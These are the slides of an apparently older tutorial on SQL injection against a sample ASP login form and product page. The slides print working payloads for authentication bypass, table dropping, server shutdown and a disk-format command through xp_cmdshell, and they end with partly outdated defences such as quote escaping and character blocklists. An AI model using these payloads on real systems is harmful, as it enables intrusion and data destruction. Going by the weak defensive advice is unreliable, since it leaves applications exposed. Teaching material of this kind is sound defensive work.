Sql Injection Attacks Siddhesh

SQL Injection Attacks Siddhesh Bhobe

SQL Injection Attack… … "injects" or manipulates SQL code using “string-building” techniques. By adding unexpected SQL to a query, it is possible to manipulate a database in many unanticipated ways. Attacks are successful due to poor input validation at code layer

Example 1: HTML Form Consider the following HTML form for Login: <form name="frmLogin" action="login.asp" method="post"> Username: <input type="text" name="userName"> Password: <input type="text" name="password"> <input type="submit"> </form>

Example 1: ASP Script <% … userName = Request.Form("userName“ password = Request.Form("password") query = "select count(*) from users where userName='" & userName & "' and userPass='" & password & "'“ … %>

Sample Input Login =john, Password = doe select count(*) from users where userName='john' and userPass='doe'

Now check this! Login = john, Password = ' or 1=1 -- select count(*) from users where userName='john' and userPass='' or 1=1 --' Password check is nullified -- used to prevent ASP from reporting mismatched quotes

And what about this? Username: ' or 1=1 -- and Password: [Empty] select count(*) from users where userName='' or 1=1 --' and userPass=''

Example 2 Username: ' having 1=1 -- , Password: [Empty] select userName from users where userName='' having 1=1

You get a column name… You will get the following error message: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column ' users.userName ' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16

The Attack… Username: ' or users.userName like 'a%' -- select userName from users where userName='' or users.userName like 'a%' --' and userPass='' Logged In As admin!!!

Use of Semi-colon Semi-colon allows multiple queries to be specified on one line. Submitted as one batch and executed sequentially select 1; select 1+2; select 1+3;

Can you guess what happens? Username: ' or 1=1; drop table users; --

Table dropped! Username: ' or 1=1; drop table users; -- and Password: [Anything] Firstly, it would select the userName field for all rows in the users table. Secondly, it would delete the users table

SHUTDOWN WITH NOWAIT!! … causes SQL Server to shutdown, immediately stopping the Windows service Username: '; shutdown with nowait; -- select userName from users where userName=''; shutdown with nowait; --' and userPass=''

Products.asp http://localhost/products.asp?productId=1 returns Got product Pink Hoola Hoop But what about this? http://localhost/products.asp?productId=0;insert%20into%20products (prodName)%20values(left(@@version,50))

Wham! Here's the query without the URL-encoded spaces: http://localhost/products.asp?productId=0;insert into products(prodName) values(left(@@version,50)) Runs an INSERT query on the products table, adding the first 50 characters of SQL server's @@version variable as a new record in the products table.

Effects Privilege Level: sa Total control of SQL Server OS Shell at privilege of MSSQLServer service using xp_cmdshell Ability to read, write, mutilate all data

Effects Privilege Level: db_owner Read/write all data in affected database Drop tables Create new objects Take control of the database

Effects Privilege Level: normal user (no fixed server or database roles) Access objects to which permission is given At best, only some few stored procedures At worst, read/write access to all tables Recommended!

Testing for Vulnerability Disable error handling so that errors are displayed Input single quotes to see if the application fails Failure indicates poor validation and corruption of SQL

Preventing SQL Injection Attacks Limit User Access Escape Quotes Remove culprit characters Limit length of user input

Limit User Access Do not use “sa” account Removed extended SPs if you are not using them. The following are couple of the most damaging ones: xp_cmdshell xp_grantlogin Use SPs to abstract data access

Escape Quotes Convert single quotes to double quotes <% function stripQuotes(strWords) stripQuotes = replace(strWords, "'", "''") end function %> Converts select count(*) from users where userName='john' and userPass='' or 1=1 --' ...to this: select count(*) from users where userName='john'' and userPass=''' or 1=1 --'

Drop culprit characters Drop character sequences like ; , -- , insert and xp_ select prodName from products where id=1; xp_cmdshell 'format c: /q /yes '; drop database myDB; -- becomes select prodName from products where id=1 cmdshell ''format c: /q /yes '' database myDB

Restrict length of user input Limit length in the form field Use validating functions for numeric input Use POST, not GET

Thanks! Original Article: http://www. webmasterbase .com/article. php ?aid=794& pid =0 Also on Reismagos…

Sql Injection Attacks Siddhesh

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